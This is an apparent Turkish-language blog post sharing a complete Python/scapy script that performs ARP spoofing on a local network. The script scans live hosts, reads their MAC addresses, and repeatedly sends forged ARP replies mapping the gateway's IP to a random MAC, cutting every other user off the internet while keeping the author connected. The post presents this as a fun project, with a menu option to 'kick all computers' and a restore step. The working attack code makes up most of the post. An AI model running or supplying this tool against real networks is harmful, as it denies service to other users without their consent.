Python ile Local Ağ'da Internet Erişimi Engellemek
Merhaba arkadaşlar bugün python ile yazmış olduğum script'te parametre olarak kendi IP adresinizi ve Gateway IP adresini vererek siz hariç diğer kullanıcıların internet erişimi olabildiğince engelleyen bir script'in amacını , kodlarını ve video ile kullanımı göstereceğim. Haydi bir giriş yapalım...
Bir yazılım dilinin eğlenceli taraflarını görmek ve göstermek için ne yapabilirim düşüncesi içersindeydim.Aklıma türlü türlü projeler geldi fakat ben biraz daha Network bilgimi kullanarak ortaya birşey koymak istedim. Daha sonra aklıma bu tarz bir proje geldi.Bu projenin amacı ise Ev ağı veya benzeri , herkesin bir Network cihazı(Switch , Router , ADLS) tarafından gerekli network bilgilerini aldığı bir ortamda siz hariç herkese sizin bilgisayarınızdan bir Frame üretilerek bu frame sanki bu ağdaki Gateway adresinden çıkmış gibi gönderilir fakat bu saldırada ürettiğimiz frame'lerde gateway'in MAC adresi rastgele üretilerek gönderilir.
Böylece siz hariç herkes Arp Table'ını güncelleyerek router'ın ip adresi karşına yeni MAC adresi bilgisini yazar. Bildiğimiz gibi Data Link katmanında alınan veya gönderilen frame'ler MAC adres bazı iletildiğinden hedefimizdeki bilgisayar'lar rasgete bir MAC adresine packet çıkaracak fakat bu packet hiçbir zaman Gateway üzerinden geçemeyeceği için interneti olabildiğince siz hariç herkese kısıtlamış olacağız.
# -*- coding:utf-8 -*- from subprocess import Popen , PIPE import threading import re import platform import time import os import random from termcolor import colored, cprint import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * LiveIPAddr = [] PingCommand = "" STATUS = True class Attack(): def __init__(self, YourIP , GatewayIP): self.yip = YourIP self.ip = GatewayIP.split(".")[0] + "." + GatewayIP.split(".")[1] + "." + GatewayIP.split(".")[2] + "." self.giy = GatewayIP self.giyMAC = "" self.giyFakeMAC = self.GenerateFakeMAC() self.RealMacIP = [] def ScanLiveIP(self): a = 1 for i in range(20,261,20): if i == 260: i=254 t = threading.Thread(target = IPRange , args = (a , i , self.ip)) t.start() else: t = threading.Thread(target = IPRange , args = (a , i , self.ip)) t.start() a=i def GetMacAdress(self): LiveIPAddr.remove(self.yip) for ip in LiveIPAddr: pid = Popen(["arp", "-n",ip], stdout=PIPE) s = pid.communicate()[0] mac = re.search(r"(([a-f\d]{1,2}\:){5}[a-f\d]{1,2})", s).groups()[0] if ip == self.giy: self.giyMAC = mac self.RealMacIP.append([ip , mac]) for i in self.RealMacIP: print colored(i[0] +" <-> "+ i[1] , 'white', attrs=['blink']) print colored("New gateway's mac address {} <-> {}".format(self.giy,self.giyFakeMAC) , 'white', attrs=['blink']) print "\n" def GenerateFakeMAC(self): tmp = "0123456789abcdef" var = "" for i in range(6): var += random.choice(tmp) +""+random.choice(tmp)+":" return var[:17] def ChangeTargetsGatewayMAC(self): print colored('30 seconds later you can notice others people can not reach internet except you :)', 'red', attrs= ['bold']) time.sleep(10) for i in self.RealMacIP: if i[0] == self.giy: pass else: t = threading.Thread(target = self.ChangeThreadATTACK , args = (i[0] , i[1]) ) t.start() def ChangeThreadATTACK(self,targetIP,targetMAC): global STATUS while STATUS: try: send(ARP(op =2, pdst = targetIP, hwdst=targetMAC ,psrc = self.giy, hwsrc = self.giyFakeMAC) , verbose=False) time.sleep(1.5) except KeyboardInterrupt: STATUS = False break def RestoreAll(self): print colored('10 seconds later others can reach internet :)', 'red', attrs= ['bold']) time.sleep(10) global STATUS STATUS = False time.sleep(5) for i in self.RealMacIP: if i[0] == self.giy: pass else: send(ARP(op =2, psrc = i[0], hwsrc=i[1] ,pdst = self.giy, hwdst = "ff:ff:ff:ff:ff:ff") , count=5 ,verbose=False) def IPRange(first,end,ip): for i in range(first , end): x = os.popen(PingCommand.format(ip + str(i))) if "1 received" in x.readlines()[4]: LiveIPAddr.append(ip+str(i)) #Main Function if __name__ == "__main__": if platform.system() == "Windows": PingCommand = "ping {} -n 1" else: PingCommand = "ping {} -c 1 -W 1.5" print "\n" YourIP = raw_input(colored('[***] Please enter your IP Address : ', 'green', attrs=['bold'])) IP = raw_input(colored('[***] Please enter Gateway IP Address : ', 'green', attrs=['bold'])) print "\n" A = Attack(YourIP , IP) A.ScanLiveIP() time.sleep(20) A.GetMacAdress() while True: print colored('[***] What do you want\n', 'magenta', attrs= ['bold']) print colored('[1] -> Do you want to kick all computer on internet except you', 'blue', attrs= ['bold']) print colored('[2] -> Do you want to restore all changes', 'blue', attrs= ['bold']) print colored('[3] -> Exit', 'blue', attrs= ['bold']) ask = input(colored('#>', 'red', attrs= ['bold'])) if ask == 1: A.ChangeTargetsGatewayMAC() if ask == 2: A.RestoreAll() if ask == 3: global STATUS STATUS = False break
Aşağıda size script'in nasıl çalıştığını göstermek istedim.İlk başta sizin IP adresinizi daha sonra ise Gateway'in ip adresini girmenizi ister.Daha sonra size Saldırı başlatmak için 1'e , ayarları geri almak için 2'ye yada çıkmak için 3'e basmanızı ister.
Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)